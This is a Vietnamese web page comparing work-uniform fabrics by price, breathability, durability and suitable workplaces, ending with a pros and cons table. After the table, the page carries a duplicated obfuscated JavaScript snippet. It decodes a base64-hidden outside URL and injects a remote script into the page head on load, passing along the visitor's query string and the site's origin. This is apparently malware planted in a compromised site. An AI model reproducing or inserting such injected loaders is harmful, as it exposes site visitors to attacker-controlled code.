Các loại vải bảo hộ lao động và môi trường phù hợp
Vải dlin
Đặc điểm
- Giá thành: Rất rẻ, thích hợp cho công nhân thời vụ hoặc công ty có sự biến động nhân sự lớn.
- Thành phần: 100% sợi nhựa PE, mặc rất nóng nhưng không quan trọng khi làm việc ban đêm.
- Tuổi thọ: Nhanh chóng hư, trung bình sử dụng được khoảng 3 tháng.
Môi trường phù hợp
- Công ty cao su, công nhân cạo mủ cao su ban đêm.
- Các công trình xây dựng ngắn hạn, công nhân thời vụ.
Vải kaki 65/35
Đặc điểm:
- Độ dày: Khá dày nhưng mềm mượt và mát.
- Thấm hút: Tốt, dễ chịu do hàm lượng cotton cao.
- Chống cháy: Hạn chế cháy do xỉ hàn văng bắn.
- Giá thành: Không quá cao, phù hợp với nhiều doanh nghiệp.
Môi trường phù hợp
- Thợ hàn cơ khí.Công nhân làm việc ngoài công trường xây dựng.
Vải kaki Việt Nam
Đặc điểm:
- Độ cứng: Khá cứng, giống vải dlin do hàm lượng sợi PE cao.
- Bề mặt: Hai mặt vải có kiểu dệt khác nhau, một mặt dệt sọc chéo, mặt còn lại dệt caro sọc chéo mờ.
Môi trường phù hợp:
- Công nhân làm việc trong môi trường không yêu cầu cao về độ mềm mượt của vải.
Vải xi
Đặc điểm:
- Giá thành: Rẻ hơn vải kaki 65/35.
- Thấm hút: Trung bình, không đẹp form áo.
- Độ mỏng: Khá mỏng, hàm lượng cotton thấp (35%), sợi PE chiếm 65%.
Môi trường phù hợp:
- Làm việc trong nhà xưởng không tiếp xúc ánh nắng nhiều.
Vải kaki Thành Công
Đặc điểm
- Chất lượng: Thuộc dòng cao cấp, dày, mềm mượt, mặc rất mát.
- Giá thành: Cao, nhưng giá trị sử dụng cũng cao, ít xuống màu, độ bền cao.
- Bề mặt: Hai mặt vải dệt sợi chéo như mặt phải của vải kaki 65.
- Môi trường phù hợp:
- Kỹ sư, công nhân làm việc trong môi trường hàn xì, cơ khí.
- Các công ty có ngân sách lớn, chấp nhận chi phí cao cho đồng phục.
Ưu điểm của từng loại vải
Vải dlin
- Giá thành rẻ.
- Thích hợp cho công nhân thời vụ.
Vải kaki 65/35
- Dày và mát.
- Thấm hút tốt.
- Hạn chế cháy xỉ hàn.
- Giá thành vừa phải.
Vải kaki Việt Nam:
- Cứng, bền.
- Phù hợp với môi trường không yêu cầu cao về độ mềm.
Vải xi:
- Giá thành rẻ.
- Thấm hút trung bình.
- Phù hợp với môi trường làm việc trong nhà xưởng.
Vải kaki Thành Công:
- Chất lượng cao, bền đẹp.
- Mặc mát, ít xuống màu.
- Phù hợp với môi trường khắc nghiệt và yêu cầu cao về chất lượng.
- Việc chọn loại vải phù hợp không chỉ giúp bảo vệ công nhân tốt hơn mà còn tối ưu hóa chi phí và tăng hiệu quả công việc.
Ưu và nhược điểm của các loại vải may quần áo bảo hộ lao động
LOẠI VẢI | ƯU ĐIỂM | NHƯỢC ĐIỂM |
Vải Dlin | Giá thành rất rẻ, siêu rẻ, nhẹ nhàng. | Vải rất mỏng, mặc nóng và không bền, chóng rách. |
Vải Xi | Giá thành tương đối rẻ, mềm, nhẹ nhàng, vải lên quần áo bảo hộ lao động đẹp, mặc tương đối bền. | Thấm hút mồ hôi ở mức độ trung bình |
Vải Kaki 65/35 (65% cotton/35% PE) | Thấm hút mồi hôi tốt, độ bền cao, khi vải may lên quần áo bảo hộ lao động mặc rất đẹp. Giá thành hợp l. | Được đánh giá là tốt, phù hợp với đại đa số các công ty, tạm thời chưa tìm ra nhược điểm. |
Kaki Thành Công (83% cotton/17% PE) | Bền cực bền, dày cực dày, thấm hút mồ hôi tốt, phù hợp với các doanh nghiệp có cường độ lao động cao. | Giá thành khá cao so với mặt bằng chung, do quá dày nên nhìn cũng hơi thô. |
Vải Pangrim Hàn Quốc | Vải có hàm lượng cotton cao gần 100%, sợi vải dày. Mềm mượt mặc mát. | Dễ nhăn, độ cầm màu kém. Vải phải nhập khẩu nên thời gian sản xuất rất lâu. |
Vải Ninomax (hay còn gọi vải chậm cháy). | Vải mềm mượt, mặc cực mát. Dày, và chậm cháy thích hợp cho công ty dầu khí và công ty hàn xì cơ khí. | Thời gian sản xuất lâu, do phải nhập khẩu vải. Số lượng ít thì không làm được, vì không nhập được vải. |
(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();